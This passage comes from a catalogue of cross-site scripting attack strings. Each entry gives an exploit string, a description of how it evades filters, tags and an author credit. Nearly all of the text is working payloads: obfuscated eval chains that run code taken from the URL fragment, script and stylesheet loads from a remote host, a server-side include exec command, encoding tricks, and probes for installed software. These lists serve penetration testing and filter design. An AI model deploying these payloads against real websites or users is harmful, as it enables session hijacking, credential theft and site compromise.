Exploit Description: Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A
slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html.  As a side
note you can remote the end STYLE tag if there is HTML immediately after the vector to close it.  This is useful if you cannot have
either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.
Exploit Tags: general, evil tags, obfuscated, style injection
Author Name: ha.ckers.org

Remote Stylesheet 3
Exploit Name: Remote Stylesheet 3
Exploit String: <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
```

Exploit Description: Remote style sheet part 3. This only works in Opera but is fairly tricky.  Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera).  The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.
Exploit Tags: general, evil tags, injection
Author Name: ha.ckers.org

Remote Stylesheet 4
Exploit Name: Remote Stylesheet 4
Exploit String: <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
Exploit Description: Remote style sheet part 4.  This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.
Exploit Tags: general, evil tags, obfuscated, style injection, XBL
Author Name: ha.ckers.org

Removing Cnames
Exploit Name: Removing Cnames
Exploit String: <A HREF="http://google.com/">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).

When combined with the above URL, removing ”www.” will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

Rename .js to .jpg
Exploit Name: Rename .js to .jpg
Exploit String: <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
Exploit Description: Assuming you can only fit in a few characters and it filters against ”.js” you can rename your JavaScript file to an image as an XSS vector.
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org

res:// installed software probing
Exploit Name: res:// installed software probing
Exploit String: res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210
Exploit Description: This res-uri can be used to probe for certain software in IE.
Exploit Tags: URI exploits, injection, general, obfuscated, internet explorer
Author Name: xs-sniper

SCRIPT w/Alert()
Exploit Name: SCRIPT w/Alert()
Exploit String: <SCRIPT>alert('XSS')</SCRIPT>
Exploit Description: Basic injection attack

```
Exploit Tags: general, evil tags, basic
Author Name: ha.ckers.org

SCRIPT w/Char Code
Exploit Name: SCRIPT w/Char Code
Exploit String: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Exploit Description: Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the
word ”XSS” will pop up.
Exploit Tags: general, evil tags, obfuscated, basic
Author Name: ha.ckers.org

SCRIPT w/Source File
Exploit Name: SCRIPT w/Source File
Exploit String: <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Exploit Description: No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest
trying it first (the quotes are not required in any modern browser so they are omitted here).
Exploit Tags: general, evil tags, basic, injection
Author Name: ha.ckers.org

Self-contained XSS variant 1
Exploit Name: Self-contained XSS variant 1
Exploit String: a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1))
Exploit Description: Concatenates obfuscated eval() and substr() to be called on location.hash
Exploit Tags: general, self contained
Author Name: PHPIDS Group

Self-contained XSS variant 2
Exploit Name: Self-contained XSS variant 2
Exploit String: a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b))
Exploit Description: Concatenates fragmented functions to evakuate the location hash
Exploit Tags: general, self contained
Author Name: PHPIDS Group

Self-contained XSS variant 3
Exploit Name: Self-contained XSS variant 3
Exploit String: eval.call(this,unescape.call(this,location))
Exploit Description: Uses call() and eval() to access the payload in the fragment identifier
Exploit Tags: general, self contained
Author Name: PHPIDS Group

Self-contained XSS variant 4
Exploit Name: Self-contained XSS variant 4
Exploit String: d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b)))
Exploit Description: This one is pretty hard to detect due to the total fragmentation. Fragments are built together to a self-
executing function.
```

```
Exploit Tags: general, self contained
Author Name: PHPIDS Group

Self-contained XSS variant 5
Exploit Name: Self-contained XSS variant 5
Exploit String: l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) +
(f),a
Exploit Description: This variant has the function fragments shuffled to evade concatenation filters and is thus very hard to
detect.
Exploit Tags: general, self contained, shuffled
Author Name: PHPIDS Group

Self-contained XSS variant 6
Exploit Name: Self-contained XSS variant 6
Exploit String: _=eval,__=unescape,___=document.URL,_(__(___))
Exploit Description: Since Javascript allows \w+ as variable name - this vector uses _ to evade filters.
Exploit Tags: general, self contained
Author Name: PHPIDS Group

Self-contained XSS variant 7
Exploit Name: Self-contained XSS variant 7
Exploit String: $_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)
Exploit Description: Uses special characters as variable names and self-executes the concatenated payload trigger.
Exploit Tags: general, self contained
Author Name: PHPIDS Group

Self-contained XSS variant 8
Exploit Name: Self-contained XSS variant 8
Exploit String: $=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))
Exploit Description: This time $ is used to obfuscate the self-executing payload trigger.
Exploit Tags: general, self contained
Author Name: PHPIDS Group

Self-contained XSS variant 9
Exploit Name: Self-contained XSS variant 9
Exploit String:
evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.su
bstrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil]
(hshCod),cod=hsh.ss(1);7[evil](cod)
Exploit Description: This more than sophisticated vector is hard to explain - it' creator did here:
http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13409
Exploit Tags: general, self contained, shuffled
Author Name: PHPIDS Group

Self-containing XSS with no dots
```

```
Exploit Name: Self-containing XSS with no dots
Exploit String: with(location)with(hash)eval(substring(1))
Exploit Description: This vector uses with() to activate the payload behind the fragment identifier. No dots are used to enable
easier filter evasion.
Exploit Tags: general, super short, self contained
Author Name: ma1

Spaces/Meta Chars
Exploit Name: Spaces/Meta Chars
Exploit String: <IMG SRC=" &#14;  javascript:alert('XSS');">
Exploit Description: Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't
take into account spaces in the word ”javascript:” - which is correct since that won't render- and makes the false assumption that
you can't have a space between the quote and the ”javascript:” keyword. The actual reality is you can have any char from 1-32 in
decimal).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

SSI
Exploit Name: SSI
Exploit String: <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
Exploit Description: SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector.  I probably
don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.
Exploit Tags: general, evil tags, obfuscated, SSI, injection
Author Name: ha.ckers.org

STYLE
Exploit Name: STYLE
Exploit String: <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
Exploit Description: STYLE tag (Older versions of Netscape only)
Exploit Tags: general, evil tags, style injection, gecko
Author Name: ha.ckers.org

Style injection via content and double-eval
Exploit Name: Style injection via content and double-eval
Exploit String: <style>

body:after{

content: “\61\6c\65\72\74\28\31\29″

}

</style>

<script>
```

```
eval(eval(document.styleSheets[0].cssRules[0].style.content))

</script>
Exploit Description: This vector utilizes the CSS content property and fetches it off the document.styleSheets property afterwards.
For correct execution of the payload a double-eval is needed.
Exploit Tags: general, onfuscated, style injection
Author Name: .mario

STYLE w/Anonymous HTML
Exploit Name: STYLE w/Anonymous HTML
Exploit String: <XSS STYLE="xss:expression(alert('XSS'))">
Exploit Description: Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the
HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

STYLE w/background
Exploit Name: STYLE w/background
Exploit String: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
Exploit Description: STYLE tag using background.
Exploit Tags: general, evil tags, injection, internet explorer
Author Name: ha.ckers.org

STYLE w/background-image
Exploit Name: STYLE w/background-image
Exploit String: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
Exploit Description: STYLE tag using background-image.
Exploit Tags: general, evil tags, internet explorer, style injection
Author Name: ha.ckers.org

STYLE w/broken up JavaScript
Exploit Name: STYLE w/broken up JavaScript
Exploit String: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
Exploit Description: STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).
Exploit Tags: general, evil tags, style injection, internet explorer
Author Name: ha.ckers.org

STYLE w/Comment
Exploit Name: STYLE w/Comment
Exploit String: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
Exploit Description: STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for
this one)
Exploit Tags: general, evil tags, style injection, internet explorer
Author Name: ha.ckers.org
```

```
Stylesheet
Exploit Name: Stylesheet
Exploit String: <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
Exploit Description: Stylesheet
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

Style-breaker using obfuscated JavaScript
Exploit Name: Style-breaker using obfuscated JavaScript
Exploit String: }</style><script>a=eval;b=alert;a(b(/i/.source));</script>
Exploit Description: This vector ends styleblocks and uses obfuscated JavaScript to create an alert.
Exploit Tags: general, html breaking, CSS breaking
Author Name: kishor

Super basic HTML breaker 2
Exploit Name: Super basic HTML breaker 2
Exploit String: >"'
Exploit Description: This super basic vector breaks HTML attributes


Exploit Tags: general, basic, super short, html breaking
Author Name: .mario

Super short XSS variant 1
Exploit Name: Super short XSS variant 1
Exploit String: a=alert

a(0)
Exploit Description: This extremely short XSS vector works only when newlines can be injected.
Exploit Tags: general, super short
Author Name: .mario

Super short XSS variant 2
Exploit Name: Super short XSS variant 2
Exploit String: A=alert;A(1)
Exploit Description: This extremely short XSS vector works with out the need for newlines to be injected,
Exploit Tags: super short, general, basic
Author Name: -unknown-

TABLE
Exploit Name: TABLE
Exploit String: <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
Exploit Description: Table background (who would have thought tables were XSS targets... except me, of course).
Exploit Tags: general, evil tags
```

```
Author Name: ha.ckers.org

TD
Exploit Name: TD
Exploit String: <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
Exploit Description: TD background.
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

Textarea-breaker with mouseover
Exploit Name: Textarea-breaker with mouseover
Exploit String: </textarea><br><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code>
Exploit Description: This vector breaks textareas and creates an element reacting on mouveover events.
Exploit Tags: general, html breaking, obfuscated, user interaction
Author Name: kishor

Unicode encoded script tags
Exploit Name: Unicode encoded script tags
Exploit String: '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
Exploit Description: This vector uses unicode encoded codepoints to create a script tag producing an alert.
Exploit Tags: general, basic, obfuscated, evil tags
Author Name: OWASP

URL breaker for double quotes
Exploit Name: URL breaker for double quotes
Exploit String: http://aa"><script>alert(123)</script>
Exploit Description: This vector breaks double quoted URL input
Exploit Tags: URL breaking, general, basic, html breaking
Author Name: .mario

URL breaker for single quotes
Exploit Name: URL breaker for single quotes
Exploit String: http://aa'><script>alert(123)</script>
Exploit Description: This vector breaks single quoted URL input
Exploit Tags: URL breaking, basic, general, html breaking
Author Name: .mario

URL encoded image source
Exploit Name: URL encoded image source
Exploit String: >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
Exploit Description: This vector utilizes an urlencoded JS image source to create an alert.
Exploit Tags: general, basic, obfuscated, internet explorer
Author Name: OWASP

URL Encoding
```

Exploit Name: URL Encoding
Exploit String: <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

URL-breaking vector
Exploit Name: URL-breaking vector
Exploit String: http://aa<script>alert(123)</script>
Exploit Description: This vector is a basic URL breaker - embedding an alert in a URL-like wrapper.
Exploit Tags: general, URL breaking, basic
Author Name: kishor

US-ASCII encoding
Exploit Name: US-ASCII encoding
Exploit String: %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
Exploit Description: Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

UTF-7 Encoding
Exploit Name: UTF-7 Encoding
Exploit String: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
Exploit Description: UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

UTF-8 Unicode Encoding
Exploit Name: UTF-8 Unicode Encoding
Exploit String: <IMG SRC=javascript:alert('XSS')>
Exploit Description: UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

with() executing alert via document.__parent__

```
Exploit Name: with() executing alert via document.__parent__
Exploit String: with(document.__parent__)alert(1)
Exploit Description: This vector uses the __parent__ property combined with with() to execute an alert.
Exploit Tags: general, super short, obfuscated, gecko, __property__
Author Name: .mario

XML data island w/CDATA
Exploit Name: XML data island w/CDATA
Exploit String: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]></C></X></xml><SPAN DATASRC=#I
DATAFLD=C DATAFORMATAS=HTML>
Exploit Description: XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine
mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.
Exploit Tags: general, evil tags, obfuscated, XML injection
Author Name: ha.ckers.org

XML data island w/comment
Exploit Name: XML data island w/comment
Exploit String: <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B"
DATAFORMATAS="HTML"></SPAN>
Exploit Description: XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the
javascript directive)
Exploit Tags: general, evil tags, obfuscated, XML injection
Author Name: ha.ckers.org

XML HTML+TIME
Exploit Name: XML HTML+TIME
Exploit String: <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t"
implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
Exploit Description: HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail
and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be
between HTML and BODY tags for this to work.
Exploit Tags: general, evil tags, obfuscated, XML injection
Author Name: ha.ckers.org

XML namespace
Exploit Name: XML namespace
Exploit String: <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>
Exploit Description: XML namespace. The .htc file must be located on the server as your XSS vector.
Exploit Tags: general, evil tags, obfuscated, XML injection
Author Name: ha.ckers.org

XML predicate XSS using content[n]
Exploit Name: XML predicate XSS using content[n]
Exploit String: y=<a>alert</a>;content[y](123)
Exploit Description: This vector uses XML predicate properties to activate its payload.
```

```
Exploit Tags: general, XML predicates, gecko
Author Name: PHPIDS Group

XML (locally hosted)
Exploit Name: XML (locally hosted)
Exploit String: <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
Exploit Description: Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as
above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.
Exploit Tags: general, evil tags, obfuscated, XML injection
Author Name: ha.ckers.org

XSS Quick Test
Exploit Name: XSS Quick Test
Exploit String: '';!--"<XSS>=&{()}
Exploit Description: If you don't have much space, this string is a nice compact XSS injection check. View source after injecting
it and look for <XSS versus &lt;XSS to see if it is vulnerable.
Exploit Tags: general, html breaking, JS breaking, comment breaking
Author Name: ha.ckers.org

XSS via VBScript MsgBox
Exploit Name: XSS via VBScript MsgBox
Exploit String: Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
Exploit Description: This vector creates an alert like message boy via Visual Basic Script
Exploit Tags: general, basic, internet explorer
Author Name: -unknown-

__parent__ stored JS alert
Exploit Name: __parent__ stored JS alert
Exploit String: document.__parent__._=alert

_(1)
Exploit Description: This vector uses the __parent__ property to store the alert function and execute it afterwards with new label.
Exploit Tags: general, super short, obfuscated, gecko, __property__
Author Name: .mario

__proto__ stored JS alert
Exploit Name: __proto__ stored JS alert
Exploit String: top.__proto__._= alert

_(1)
Exploit Description: This vector uses the __proto__ property to store the alert function and execute it afterwards with new label.
Exploit Tags: general, super short, obfuscated, gecko, __property__
Author Name: .mario
```